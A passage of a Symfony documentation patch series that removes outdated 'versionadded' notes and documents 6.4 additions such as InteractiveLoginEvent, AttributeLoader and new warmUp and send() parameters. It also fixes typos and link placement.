@@ -1140,10 +1110,6 @@ Notifier Assertions
     Asserts that the name of the transport for the given notification
     is not the same as the given text.
 
-.. versionadded:: 6.2
-
-    The Notifier assertions were introduced in Symfony 6.2.
-
 HttpClient Assertions
 .....................
 
@@ -1167,10 +1133,6 @@ HttpClient Assertions
     By default it will check on the HttpClient, but you can also pass a specific
     HttpClient ID.
 
-.. versionadded:: 6.4
-
-    The HttpClient assertions were introduced in Symfony 6.4.
-
 .. TODO
 ..  End to End Tests (E2E)
 ..  ----------------------
diff --git a/translation.rst b/translation.rst
index 07f7cbde570..306b3186ad0 100644
--- a/translation.rst
+++ b/translation.rst
@@ -451,11 +451,6 @@ The ``translation:extract`` command looks for missing translations in:
 * Any PHP file/class stored in the ``src/`` directory that uses
   :ref:`Constraints Attributes <validation-constraints>`  with ``*message`` named argument(s).
 
-.. versionadded:: 6.2
-
-    The support of PHP files/classes that use constraint attributes was
-    introduced in Symfony 6.2.
-
 .. _translation-resource-locations:
 
 Translation Resource/File Names and Locations
@@ -499,10 +494,6 @@ provides many loaders which are selected based on the following file extensions:
 * ``.po``: `Portable object format`_;
 * ``.qt``: `QT Translations TS XML`_ file;
 
-.. versionadded:: 6.1
-
-    The ``.xliff`` file extension support was introduced in Symfony 6.1.
-
 The choice of which loader to use is entirely up to you and is a matter of
 taste. The recommended option is to use YAML for simple projects and use XLIFF
 if you're generating translations with specialized programs or teams.
@@ -607,10 +598,6 @@ Lokalise              ``composer require symfony/lokalise-translation-provider``
 Phrase                ``composer require symfony/phrase-translation-provider``
 ====================  ===========================================================
 
-.. versionadded:: 6.4
-
-    The ``Phrase`` translation provider was introduced in Symfony 6.4.
-
 Each library includes a :ref:`Symfony Flex recipe <symfony-flex>` that will add
 a configuration example to your ``.env`` file. For example, suppose you want to
 use Loco. First, install it:
@@ -766,11 +753,6 @@ now use the following commands to push (upload) and pull (download) translations
     # of flat keys
     $ php bin/console translation:pull loco --force --as-tree
 
-.. versionadded:: 6.4
-
-    The ``--as-tree`` option of the ``translation:pull`` command was introduced
-    in Symfony 6.4.
-
 Creating Custom Providers
 ~~~~~~~~~~~~~~~~~~~~~~~~~
 
@@ -1043,10 +1025,6 @@ checks translation resources for several locales:
 Switch Locale Programmatically
 ------------------------------
 
-.. versionadded:: 6.1
-
-    The ``LocaleSwitcher`` was introduced in Symfony 6.1.
-
 Sometimes you need to change the locale of the application dynamically
 just to run some code. Imagine a console command that renders Twig templates
 of emails in different languages. You need to change the locale only to
@@ -1103,13 +1081,6 @@ of:
         }
     }
 
-.. versionadded:: 6.4
-
-    The support of declaring an argument in the callback to inject the locale
-    being used in the
-    :method:`Symfony\\Component\\Translation\\LocaleSwitcher::runWithLocale`
-    method was introduced in Symfony 6.4.
-
 When using :ref:`autowiring <services-autowire>`, type-hint any controller or
 service argument with the :class:`Symfony\\Component\\Translation\\LocaleSwitcher`
 class to inject the locale switcher service. Otherwise, configure your services
diff --git a/validation.rst b/validation.rst
index af98a7ff852..39922038c9b 100644
--- a/validation.rst
+++ b/validation.rst
@@ -203,10 +203,6 @@ Inside the template, you can output the list of errors exactly as needed:
     object allows you, among other things, to get the constraint that caused this
     violation thanks to the ``ConstraintViolation::getConstraint()`` method.
 
-.. versionadded:: 6.3
-
-    The ``ConstraintViolation::getConstraint()`` method was introduced in Symfony 6.3.
-
 Validation Callables
 ~~~~~~~~~~~~~~~~~~~~
 
diff --git a/validation/custom_constraint.rst b/validation/custom_constraint.rst
index 7506cd84f2c..7ea504f0842 100644
--- a/validation/custom_constraint.rst
+++ b/validation/custom_constraint.rst
@@ -39,10 +39,6 @@ First you need to create a Constraint class and extend :class:`Symfony\\Componen
 Add ``#[\Attribute]`` to the constraint class if you want to
 use it as an attribute in other classes.
 
-.. versionadded:: 6.1
-
-    The ``#[HasNamedArguments]`` attribute was introduced in Symfony 6.1.
-
 You can use ``#[HasNamedArguments]`` to make some constraint options required::
 
     // src/Validator/ContainsAlphanumeric.php
diff --git a/workflow.rst b/workflow.rst
index 2e17b40794c..b1ec43c8199 100644
--- a/workflow.rst
+++ b/workflow.rst
@@ -168,11 +168,6 @@ follows:
     ``'draft'`` or ``!php/const App\Entity\BlogPost::TRANSITION_TO_REVIEW``
     instead of ``'to_review'``.
 
-.. versionadded:: 6.4
-
-    Since Symfony 6.4, the ``type`` option under ``marking_store`` can be
-    omitted when the ``property`` option is explicitly set.
-
 The configured property will be used via its implemented getter/setter methods by the marking store::
 
     // src/Entity/BlogPost.php
@@ -231,11 +226,6 @@ you must declare a setter to write your property::
         }
     }
 
-.. versionadded:: 6.4
-
-    The feature to use public properties instead of getter/setter methods
-    and private properties was introduced in Symfony 6.4.
-
 .. note::
 
     The marking store type could be "multiple_state" or "single_state". A single
@@ -342,16 +332,6 @@ attribute::
 This allows you to decorrelate the argument name of any implementation
 name.
 
-.. versionadded:: 6.2
-
-    All workflows and state machines services are tagged since in Symfony 6.2.
-
-.. versionadded:: 6.3
-
-    Injecting a workflow with only its name and
-    :class:`Symfony\\Component\\DependencyInjection\\Attribute\\Target` was
-    introduced in Symfony 6.3.
-
 .. tip::
 
     If you want to retrieve all workflows, for documentation purposes for example,
@@ -548,10 +528,6 @@ You may refer to the documentation about
 :ref:`defining event listeners with PHP attributes <event-dispatcher_event-listener-attributes>`
 for further use.
 
-.. versionadded:: 6.4
-
-    The workflow event attributes were introduced in Symfony 6.4.
-
 .. _workflow-usage-guard-events:
 
 Guard Events
diff --git a/workflow/workflow-and-state-machine.rst b/workflow/workflow-and-state-machine.rst
index f6b93fa693c..eabb8d2a28e 100644
--- a/workflow/workflow-and-state-machine.rst
+++ b/workflow/workflow-and-state-machine.rst
@@ -283,10 +283,6 @@ machine type, use ``camelCased workflow name + StateMachine``::
     }
 
 
-.. versionadded:: 6.2
-
-    All workflows and state machines services are tagged since in Symfony 6.2.
-
 Automatic and Manual Validation
 -------------------------------
 

From bcd944aa6f41b599da0d023d287ed35c5175cdf8 Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Mon, 16 Oct 2023 19:52:36 +0200
Subject: [PATCH 5302/7107] Doctor RST ensure link definitions bottom

---
 .doctor-rst.yaml                  | 1 +
 contributing/code/conventions.rst | 4 ++--
 frontend/encore/faq.rst           | 7 +++----
 3 files changed, 6 insertions(+), 6 deletions(-)

diff --git a/.doctor-rst.yaml b/.doctor-rst.yaml
index c307c959410..950324be7e4 100644
--- a/.doctor-rst.yaml
+++ b/.doctor-rst.yaml
@@ -14,6 +14,7 @@ rules:
     ensure_bash_prompt_before_composer_command: ~
     ensure_exactly_one_space_before_directive_type: ~
     ensure_exactly_one_space_between_link_definition_and_link: ~
+    ensure_link_bottom: ~
     ensure_link_definition_contains_valid_url: ~
     ensure_order_of_code_blocks_in_configuration_block: ~
     ensure_php_reference_syntax: ~
diff --git a/contributing/code/conventions.rst b/contributing/code/conventions.rst
index cd1d87b4282..455bc8de0ed 100644
--- a/contributing/code/conventions.rst
+++ b/contributing/code/conventions.rst
@@ -181,8 +181,6 @@ after the use declarations, like in this example from `ServiceRouterLoader`_::
      */
     class ServiceRouterLoader extends ObjectRouteLoader
 
-.. _`ServiceRouterLoader`: https://github.com/symfony/symfony/blob/4.4/src/Symfony/Component/Routing/Loader/DependencyInjection/ServiceRouterLoader.php
-
 The deprecation must be added to the ``CHANGELOG.md`` file of the impacted component:
 
 .. code-block:: markdown
@@ -239,3 +237,5 @@ Commands and their options should be named and described using the English
 imperative mood (i.e. 'run' instead of 'runs', 'list' instead of 'lists'). Using
 the imperative mood is concise and consistent with similar command-line
 interfaces (such as Unix man pages).
+
+.. _`ServiceRouterLoader`: https://github.com/symfony/symfony/blob/4.4/src/Symfony/Component/Routing/Loader/DependencyInjection/ServiceRouterLoader.php
diff --git a/frontend/encore/faq.rst b/frontend/encore/faq.rst
index 6c1392ac5a0..60dc7cc9e9d 100644
--- a/frontend/encore/faq.rst
+++ b/frontend/encore/faq.rst
@@ -137,8 +137,6 @@ For performance, Encore does not process libraries inside ``node_modules/`` thro
 Babel. But, you can change that via the ``configureBabel()`` method. See
 :doc:`/frontend/encore/babel` for details.
 
-.. _`rsync`: https://rsync.samba.org/
-
 How Do I Integrate my Encore Configuration with my IDE?
 -------------------------------------------------------
 
@@ -168,8 +166,6 @@ running it (e.g. when executing ``yarn encore dev``). Fix this issue calling to
 
     // ... the rest of the Encore configuration
 
-.. _`Webpack integration in PhpStorm`: https://www.jetbrains.com/help/phpstorm/using-webpack.html
-
 My Tests are Failing Because of ``entrypoints.json`` File
 ---------------------------------------------------------
 
@@ -194,3 +190,6 @@ functions to trigger exceptions when there's no ``entrypoints.json`` file):
     webpack_encore:
         strict_mode: false
         # ...
+
+.. _`rsync`: https://rsync.samba.org/
+.. _`Webpack integration in PhpStorm`: https://www.jetbrains.com/help/phpstorm/using-webpack.html

From 585e571627f79d07fa09174e1b187b53828cb5ed Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Mon, 16 Oct 2023 21:04:03 +0200
Subject: [PATCH 5303/7107] Document InteractiveLoginEvent

---
 security.rst | 6 ++++++
 1 file changed, 6 insertions(+)

diff --git a/security.rst b/security.rst
index 0f2c338c0a4..5a44ca2122b 100644
--- a/security.rst
+++ b/security.rst
@@ -2654,6 +2654,12 @@ Authentication Events
 Other Events
 ~~~~~~~~~~~~
 
+:class:`Symfony\\Component\\Security\\Http\\Event\\InteractiveLoginEvent`
+    Dispatched after authentication was fully successful only when the authenticator
+    implements :class:`Symfony\\Component\\Security\\Http\\Authenticator\\InteractiveAuthenticatorInterface`,
+    which indicates login requires explicit user action (e.g. a login form).
+    Listeners to this event can modify the response sent back to the user.
+
 :class:`Symfony\\Component\\Security\\Http\\Event\\LogoutEvent`
     Dispatched just before a user logs out of your application. See
     :ref:`security-logging-out`.

From 6ae73f5cbad4b778be1ac131c6783e541131060d Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Tue, 17 Oct 2023 21:44:32 +0200
Subject: [PATCH 5304/7107] [Encore] Updating Babel Plugin

---
 frontend/encore/installation.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/frontend/encore/installation.rst b/frontend/encore/installation.rst
index 118e15e7b0e..26d4b4242f7 100644
--- a/frontend/encore/installation.rst
+++ b/frontend/encore/installation.rst
@@ -111,7 +111,7 @@ is the main config file for both Webpack and Webpack Encore:
         .enableVersioning(Encore.isProduction())
 
         .configureBabel((config) => {
-            config.plugins.push('@babel/plugin-proposal-class-properties');
+            config.plugins.push('@babel/plugin-transform-class-properties');
         })
 
         // enables @babel/preset-env polyfills

From 2026c739f317c0e348e7af87b041f5079132c881 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Wed, 18 Oct 2023 11:12:32 +0200
Subject: [PATCH 5305/7107] [FrameworkBundle][HttpKernel] Introduce `$buildDir`
 argument to `WarmableInterface::warmup` to warm read-only artefacts in
 `build_dir`

---
 reference/dic_tags.rst | 12 ++++++++++--
 1 file changed, 10 insertions(+), 2 deletions(-)

diff --git a/reference/dic_tags.rst b/reference/dic_tags.rst
index ff51db99b6e..d1100bb2395 100644
--- a/reference/dic_tags.rst
+++ b/reference/dic_tags.rst
@@ -490,7 +490,7 @@ the :class:`Symfony\\Component\\HttpKernel\\CacheWarmer\\CacheWarmerInterface` i
 
     class MyCustomWarmer implements CacheWarmerInterface
     {
-        public function warmUp($cacheDirectory): array
+        public function warmUp(string $cacheDir, string $buildDir = null): array
         {
             // ... do some sort of operations to "warm" your cache
 
@@ -515,7 +515,15 @@ the :class:`Symfony\\Component\\HttpKernel\\CacheWarmer\\CacheWarmerInterface` i
 The ``warmUp()`` method must return an array with the files and classes to
 preload. Files must be absolute paths and classes must be fully-qualified class
 names. The only restriction is that files must be stored in the cache directory.
-If you don't need to preload anything, return an empty array.
+If you don't need to preload anything, return an empty array. If read-only
+artefacts need to be created, you can store them in a different directory
+with the ``$buildDir`` parameter of the ``warmUp()`` method.
+
+.. versionadded:: 6.4
+
+    The ``$buildDir`` parameter of the
+    :method:`Symfony\\Component\\HttpKernel\\CacheWarmer\\WarmableInterface::warmUp`
+    method was introduced in Symfony 6.4.
 
 The ``isOptional()`` method should return true if it's possible to use the
 application without calling this cache warmer. In Symfony, optional warmers

From cea81ec34f9eff81969deac9444847188abc4490 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Wed, 18 Oct 2023 10:45:30 +0200
Subject: [PATCH 5306/7107] [HttpFoundation] Add $flush parameter to
 Response::send()

---
 components/http_foundation.rst | 14 ++++++++++++++
 1 file changed, 14 insertions(+)

diff --git a/components/http_foundation.rst b/components/http_foundation.rst
index 82de7c11800..67417ad81fe 100644
--- a/components/http_foundation.rst
+++ b/components/http_foundation.rst
@@ -487,6 +487,20 @@ Sending the response to the client is done by calling the method
 
     $response->send();
 
+The ``send()`` method takes an optional ``flush`` argument. If set to
+``false``, functions like ``fastcgi_finish_request()`` or
+``litespeed_finish_request()`` are not called. This is useful when debugging
+your application to see which exceptions are thrown in listeners of the
+:class:`Symfony\\Component\\HttpKernel\\Event\\TerminateEvent`. You can learn
+more about it in
+:ref:`the dedicated section about Kernel events <http-kernel-creating-listener>`.
+
+.. versionadded:: 6.4
+
+    The ``$flush`` parameter of the
+    :method:`Symfony\\Component\\HttpFoundation\\Response::send` method
+    was introduced in Symfony 6.4.
+
 Setting Cookies
 ~~~~~~~~~~~~~~~
 

From 822ea3ad91dc3fb90c15ffab04f2fd6a86cc274d Mon Sep 17 00:00:00 2001
From: Ryan Weaver <ryan@symfonycasts.com>
Date: Wed, 18 Oct 2023 10:08:56 -0400
Subject: [PATCH 5307/7107] Adding missing "as" to style link header

---
 web_link.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/web_link.rst b/web_link.rst
index 757821094e3..82466e56b42 100644
--- a/web_link.rst
+++ b/web_link.rst
@@ -164,7 +164,7 @@ You can also add links to the HTTP response directly from controllers and servic
         public function index(Request $request): Response
         {
             // using the addLink() shortcut provided by AbstractController
-            $this->addLink($request, new Link('preload', '/app.css'));
+            $this->addLink($request, (new Link('preload', '/app.css'))->withAttribute('as', 'style'));
 
             // alternative if you don't want to use the addLink() shortcut
             $linkProvider = $request->attributes->get('_links', new GenericLinkProvider());

From 63aac53ecfa5683d8acc672902e2b1db0b7bc902 Mon Sep 17 00:00:00 2001
From: Antoine M <amakdessi@me.com>
Date: Wed, 18 Oct 2023 16:36:35 +0200
Subject: [PATCH 5308/7107] link symfony default style on coloring
 documentation

---
 console/coloring.rst | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/console/coloring.rst b/console/coloring.rst
index a481b7650ff..083069fb69e 100644
--- a/console/coloring.rst
+++ b/console/coloring.rst
@@ -102,6 +102,11 @@ you can click on the *"Symfony Homepage"* text to open its URL in your default
 browser. Otherwise, you'll see *"Symfony Homepage"* as regular text and the URL
 will be lost.
 
+.. tip::
+
+    If you need a standard yet complete style, you can leverage the :doc:`default
+    Symfony Style </console/style>`.
+
 .. _Cmder: https://github.com/cmderdev/cmder
 .. _ConEmu: https://conemu.github.io/
 .. _ANSICON: https://github.com/adoxa/ansicon/releases

From 17705ebf7be6f71f6b6f764dd17543e959286cd6 Mon Sep 17 00:00:00 2001
From: mohamed <msenoussi@wanadev.fr>
Date: Thu, 19 Oct 2023 11:04:07 +0200
Subject: [PATCH 5309/7107] [Validator] Change return type from iterable to
 Generator

---
 validation/custom_constraint.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/validation/custom_constraint.rst b/validation/custom_constraint.rst
index 0dffa0fa29d..16a02c12894 100644
--- a/validation/custom_constraint.rst
+++ b/validation/custom_constraint.rst
@@ -660,7 +660,7 @@ class to simplify writing unit tests for your custom constraints::
                 ->assertRaised();
         }
 
-        public function provideInvalidConstraints(): iterable
+        public function provideInvalidConstraints(): \Generator
         {
             yield [new ContainsAlphanumeric(message: 'myMessage')];
             // ...

From 88ad1cf88c5b3f429f955ab5837cef692a03c97a Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Mon, 16 Oct 2023 14:26:38 +0200
Subject: [PATCH 5310/7107] Mention PCNTL extension installation

---
 components/console/events.rst | 5 ++++-
 components/lock.rst           | 6 ++++++
 2 files changed, 10 insertions(+), 1 deletion(-)

diff --git a/components/console/events.rst b/components/console/events.rst
index 45f228e7399..92659aac82a 100644
--- a/components/console/events.rst
+++ b/components/console/events.rst
@@ -152,6 +152,8 @@ Listeners receive a
     It is then dispatched just after the ``ConsoleEvents::ERROR`` event.
     The exit code received in this case is the exception code.
 
+.. _console_signal-event:
+
 The ``ConsoleEvents::SIGNAL`` Event
 -----------------------------------
 
@@ -184,7 +186,8 @@ Listeners receive a
 .. tip::
 
     All the available signals (``SIGINT``, ``SIGQUIT``, etc.) are defined as
-    `constants of the PCNTL PHP extension`_.
+    `constants of the PCNTL PHP extension`_. The extension has to be installed
+    for these constants to be available.
 
 If you use the Console component inside a Symfony application, commands can
 handle signals themselves. To do so, implement the
diff --git a/components/lock.rst b/components/lock.rst
index f38b8d27e63..14c787e16cd 100644
--- a/components/lock.rst
+++ b/components/lock.rst
@@ -269,6 +269,11 @@ Lock will be released automatically as soon as one process finishes::
     }
     // ...
 
+.. note::
+
+    In order for the above example to work, the `PCNTL`_ extension must be
+    installed.
+
 To disable this behavior, set the ``autoRelease`` argument of
 ``LockFactory::createLock()`` to ``false``. That will make the lock acquired
 for 3600 seconds or until ``Lock::release()`` is called::
@@ -1074,3 +1079,4 @@ are still running.
 .. _`ZooKeeper`: https://zookeeper.apache.org/
 .. _`readers-writer lock`: https://en.wikipedia.org/wiki/Readers%E2%80%93writer_lock
 .. _`priority policy`: https://en.wikipedia.org/wiki/Readers%E2%80%93writer_lock#Priority_policies
+.. _`PCNTL`: https://www.php.net/manual/book.pcntl.php

From f53d88fdca8e7d7fc755ce84984cff414deddf92 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Thu, 19 Oct 2023 12:03:54 +0200
Subject: [PATCH 5311/7107] [Serializer] Deprecate annotations

---
 components/property_info.rst | 21 ++++++++++++++++-----
 components/serializer.rst    | 31 ++++++++++++++++++++++++++-----
 2 files changed, 42 insertions(+), 10 deletions(-)

diff --git a/components/property_info.rst b/components/property_info.rst
index d5699ea1bab..a95975aadd5 100644
--- a/components/property_info.rst
+++ b/components/property_info.rst
@@ -464,19 +464,30 @@ the :class:`Symfony\\Component\\PropertyInfo\\Extractor\\SerializerExtractor`
 provides list information. This extractor is *not* registered automatically
 with the ``property_info`` service in the Symfony Framework::
 
-    use Doctrine\Common\Annotations\AnnotationReader;
     use Symfony\Component\PropertyInfo\Extractor\SerializerExtractor;
     use Symfony\Component\Serializer\Mapping\Factory\ClassMetadataFactory;
-    use Symfony\Component\Serializer\Mapping\Loader\AnnotationLoader;
+    use Symfony\Component\Serializer\Mapping\Loader\AttributeLoader;
 
-    $serializerClassMetadataFactory = new ClassMetadataFactory(
-        new AnnotationLoader(new AnnotationReader)
-    );
+    $serializerClassMetadataFactory = new ClassMetadataFactory(new AttributeLoader());
     $serializerExtractor = new SerializerExtractor($serializerClassMetadataFactory);
 
     // the `serializer_groups` option must be configured (may be set to null)
     $serializerExtractor->getProperties($class, ['serializer_groups' => ['mygroup']]);
 
+.. versionadded:: 6.4
+
+    The
+    :class:`Symfony\\Component\\Serializer\\Mapping\\Loader\\AttributeLoader`
+    was introduced in Symfony 6.4. Prior to this, the
+    :class:`Symfony\\Component\\Serializer\\Mapping\\Loader\\AnnotationLoader`
+    must be used.
+
+.. deprecated:: 6.4
+
+    The
+    :class:`Symfony\\Component\\Serializer\\Mapping\\Loader\\AnnotationLoader`
+    was deprecated in Symfony 6.4.
+
 If ``serializer_groups`` is set to ``null``, serializer groups metadata won't be
 checked but you will get only the properties considered by the Serializer
 Component (notably the ``@Ignore`` annotation is taken into account).
diff --git a/components/serializer.rst b/components/serializer.rst
index f879d5167c6..fc047ad7467 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -279,6 +279,13 @@ for each format:
 
     $classMetadataFactory = new ClassMetadataFactory(new AnnotationLoader(new AnnotationReader()));
 
+* Attributes in PHP files::
+
+    use Symfony\Component\Serializer\Mapping\Factory\ClassMetadataFactory;
+    use Symfony\Component\Serializer\Mapping\Loader\AttributeLoader;
+
+    $classMetadataFactory = new ClassMetadataFactory(new AttributeLoader());
+
 * YAML files::
 
     use Symfony\Component\Serializer\Mapping\Factory\ClassMetadataFactory;
@@ -293,6 +300,21 @@ for each format:
 
     $classMetadataFactory = new ClassMetadataFactory(new XmlFileLoader('/path/to/your/definition.xml'));
 
+.. versionadded:: 6.4
+
+    The
+    :class:`Symfony\\Component\\Serializer\\Mapping\\Loader\\AttributeLoader`
+    was introduced in Symfony 6.4. Prior to this, the
+    :class:`Symfony\\Component\\Serializer\\Mapping\\Loader\\AnnotationLoader`
+    must be used.
+
+.. deprecated:: 6.4
+
+    Reading annotations in PHP files is deprecated since Symfony 6.4.
+    Also, the
+    :class:`Symfony\\Component\\Serializer\\Mapping\\Loader\\AnnotationLoader`
+    was deprecated in Symfony 6.4.
+
 .. _component-serializer-attributes-groups-annotations:
 .. _component-serializer-attributes-groups-attributes:
 
@@ -645,7 +667,7 @@ this is already set up and you only need to provide the configuration. Otherwise
     use Symfony\Component\Serializer\Normalizer\ObjectNormalizer;
     use Symfony\Component\Serializer\Serializer;
 
-    $classMetadataFactory = new ClassMetadataFactory(new AnnotationLoader(new AnnotationReader()));
+    $classMetadataFactory = new ClassMetadataFactory(new AttributeLoader());
 
     $metadataAwareNameConverter = new MetadataAwareNameConverter($classMetadataFactory);
 
@@ -1533,10 +1555,9 @@ Instead of throwing an exception, a custom callable can be executed when the
 maximum depth is reached. This is especially useful when serializing entities
 having unique identifiers::
 
-    use Doctrine\Common\Annotations\AnnotationReader;
     use Symfony\Component\Serializer\Annotation\MaxDepth;
     use Symfony\Component\Serializer\Mapping\Factory\ClassMetadataFactory;
-    use Symfony\Component\Serializer\Mapping\Loader\AnnotationLoader;
+    use Symfony\Component\Serializer\Mapping\Loader\AttributeLoader;
     use Symfony\Component\Serializer\Normalizer\AbstractObjectNormalizer;
     use Symfony\Component\Serializer\Normalizer\ObjectNormalizer;
     use Symfony\Component\Serializer\Serializer;
@@ -1560,7 +1581,7 @@ having unique identifiers::
     $level3->id = 3;
     $level2->child = $level3;
 
-    $classMetadataFactory = new ClassMetadataFactory(new AnnotationLoader(new AnnotationReader()));
+    $classMetadataFactory = new ClassMetadataFactory(new AttributeLoader());
 
     // all callback parameters are optional (you can omit the ones you don't use)
     $maxDepthHandler = function (object $innerObject, object $outerObject, string $attributeName, string $format = null, array $context = []): string {
@@ -1761,7 +1782,7 @@ this is already set up and you only need to provide the configuration. Otherwise
     use Symfony\Component\Serializer\Normalizer\ObjectNormalizer;
     use Symfony\Component\Serializer\Serializer;
 
-    $classMetadataFactory = new ClassMetadataFactory(new AnnotationLoader(new AnnotationReader()));
+    $classMetadataFactory = new ClassMetadataFactory(new AttributeLoader());
 
     $discriminator = new ClassDiscriminatorFromClassMetadata($classMetadataFactory);
 

From 167c735b2edb984afd3bcfea41f1c22a1578f0ac Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Thu, 19 Oct 2023 13:15:25 +0200
Subject: [PATCH 5312/7107] [Messenger] Clarify transport creation example

---
 components/messenger.rst | 10 +++++++++-
 1 file changed, 9 insertions(+), 1 deletion(-)

diff --git a/components/messenger.rst b/components/messenger.rst
index 9d46184bef4..e26e7838107 100644
--- a/components/messenger.rst
+++ b/components/messenger.rst
@@ -302,17 +302,23 @@ do is to write your own CSV receiver::
     {
         private $serializer;
         private $filePath;
+        private $connection;
 
         public function __construct(SerializerInterface $serializer, string $filePath)
         {
             $this->serializer = $serializer;
             $this->filePath = $filePath;
+
+            // Available connection bundled with the Messenger component
+            // can be found in "Symfony\Component\Messenger\Bridge\*\Transport\Connection".
+            $this->connection = /* create your connection */;
         }
 
         public function get(): iterable
         {
             // Receive the envelope according to your transport ($yourEnvelope here),
             // in most cases, using a connection is the easiest solution.
+            $yourEnvelope = $this->connection->get();
             if (null === $yourEnvelope) {
                 return [];
             }
@@ -338,7 +344,9 @@ do is to write your own CSV receiver::
         public function reject(Envelope $envelope): void
         {
             // In the case of a custom connection
-            $this->connection->reject($this->findCustomStamp($envelope)->getId());
+            $id = /* get the message id thanks to information or stamps present in the envelope */;
+
+            $this->connection->reject($id);
         }
     }
 

From 683204877fc91ec9ec7fff541389b7d8d6647d85 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Thu, 19 Oct 2023 19:34:08 +0200
Subject: [PATCH 5313/7107] [HtmlSanitizer] Add support for sanitizing
 unlimited length of HTML document

---
 html_sanitizer.rst | 8 ++++++++
 1 file changed, 8 insertions(+)

diff --git a/html_sanitizer.rst b/html_sanitizer.rst
index baef54e79d4..1f451bfb867 100644
--- a/html_sanitizer.rst
+++ b/html_sanitizer.rst
@@ -1009,6 +1009,14 @@ increase or decrease this limit:
                 ->withMaxInputLength(20000)
         );
 
+It is possible to disable this length limit by setting the max input length to
+``-1``. Beware that it may expose your application to `DoS attacks`_.
+
+.. versionadded:: 6.4
+
+    The support for disabling the length limit of the HTML sanitizer was
+    introduced in Symfony 6.4.
+
 Custom Attribute Sanitizers
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~
 

From 6de47c54b3bc5e81053a676a7beed9533b4bc914 Mon Sep 17 00:00:00 2001
From: Susheel Thapa <sushilthapa9844242743@gmail.com>
Date: Fri, 20 Oct 2023 08:02:53 +0545
Subject: [PATCH 5314/7107] Chore: Fix typo in multiple files

---
 components/console/helpers/progressbar.rst | 2 +-
 configuration.rst                          | 2 +-
 reference/constraints/PasswordStrength.rst | 2 +-
 security/access_control.rst                | 2 +-
 service_container/autowiring.rst           | 4 ++--
 validation.rst                             | 2 +-
 6 files changed, 7 insertions(+), 7 deletions(-)

diff --git a/components/console/helpers/progressbar.rst b/components/console/helpers/progressbar.rst
index 58f1fba37ff..47288fef1af 100644
--- a/components/console/helpers/progressbar.rst
+++ b/components/console/helpers/progressbar.rst
@@ -5,7 +5,7 @@ When executing longer-running commands, it may be helpful to show progress
 information, which updates as your command runs:
 
 .. image:: /_images/components/console/progressbar.gif
-    :alt: Console output showing a progress bar advance to 100%, with the esimated time left, the memory usage and a special message that changes when the bar closes completion.
+    :alt: Console output showing a progress bar advance to 100%, with the estimated time left, the memory usage and a special message that changes when the bar closes completion.
 
 .. note::
 
diff --git a/configuration.rst b/configuration.rst
index e4a923c5858..c241b038fc1 100644
--- a/configuration.rst
+++ b/configuration.rst
@@ -1019,7 +1019,7 @@ implements :class:`Symfony\\Component\\DependencyInjection\\EnvVarLoaderInterfac
 .. note::
 
     If you're using the :ref:`default services.yaml configuration <service-container-services-load-example>`,
-    the autoconfiguration feature will enable and tag thise service automatically.
+    the autoconfiguration feature will enable and tag this service automatically.
     Otherwise, you need to register and :doc:`tag your service </service_container/tags>`
     with the ``container.env_var_loader`` tag.
 
diff --git a/reference/constraints/PasswordStrength.rst b/reference/constraints/PasswordStrength.rst
index 10a19b342d6..ddc3fd18043 100644
--- a/reference/constraints/PasswordStrength.rst
+++ b/reference/constraints/PasswordStrength.rst
@@ -6,7 +6,7 @@ PasswordStrength
     The ``PasswordStrength`` constraint was introduced in Symfony 6.3.
 
 Validates that the given password has reached the minimum strength required by
-the constraint. The strengh of the password is not evaluated with a set of
+the constraint. The strength of the password is not evaluated with a set of
 predefined rules (include a number, use lowercase and uppercase characters,
 etc.) but by measuring the entropy of the password based on its length and the
 number of unique characters used.
diff --git a/security/access_control.rst b/security/access_control.rst
index abba217702f..ebf2227b42c 100644
--- a/security/access_control.rst
+++ b/security/access_control.rst
@@ -161,7 +161,7 @@ Take the following ``access_control`` entries as an example:
                 ->requestMatcher('App\Security\RequestMatcher\MyRequestMatcher')
             ;
 
-            // require ROLE_ADMIN for 'admin' route. You can use the shortcut route('xxx') mehtod,
+            // require ROLE_ADMIN for 'admin' route. You can use the shortcut route('xxx') method,
             // instead of attributes(['_route' => 'xxx']) method
             $security->accessControl()
                 ->roles(['ROLE_ADMIN'])
diff --git a/service_container/autowiring.rst b/service_container/autowiring.rst
index daa1e96328b..96b78ab39e2 100644
--- a/service_container/autowiring.rst
+++ b/service_container/autowiring.rst
@@ -658,10 +658,10 @@ Generate Closures With Autowiring
 ---------------------------------
 
 A **service closure** is an anonymous function that returns a service. This type
-of instanciation is handy when you are dealing with lazy-loading.  It is also
+of instantiation is handy when you are dealing with lazy-loading.  It is also
 useful for non-shared service dependencies.
 
-Automatically creating a closure encapsulating the service instanciation can be
+Automatically creating a closure encapsulating the service instantiation can be
 done with the
 :class:`Symfony\\Component\\DependencyInjection\\Attribute\\AutowireServiceClosure`
 attribute::
diff --git a/validation.rst b/validation.rst
index af98a7ff852..d391aa6492c 100644
--- a/validation.rst
+++ b/validation.rst
@@ -649,7 +649,7 @@ properties even if the child properties override those constraints**. Symfony
 will always merge the parent constraints for each property.
 
 You can't change this behavior, but you can overcome it by defining the parent
-and the child contraints in different :doc:`validation groups </validation/groups>`
+and the child constraints in different :doc:`validation groups </validation/groups>`
 and then select the appropriate group when validating each object.
 
 Debugging the Constraints

From 06127bfeeee9d3571c4dcbe4d302f5fa6cf3a49a Mon Sep 17 00:00:00 2001
From: Vincent Chareunphol <vincent.chareunphol@the-oz.com>
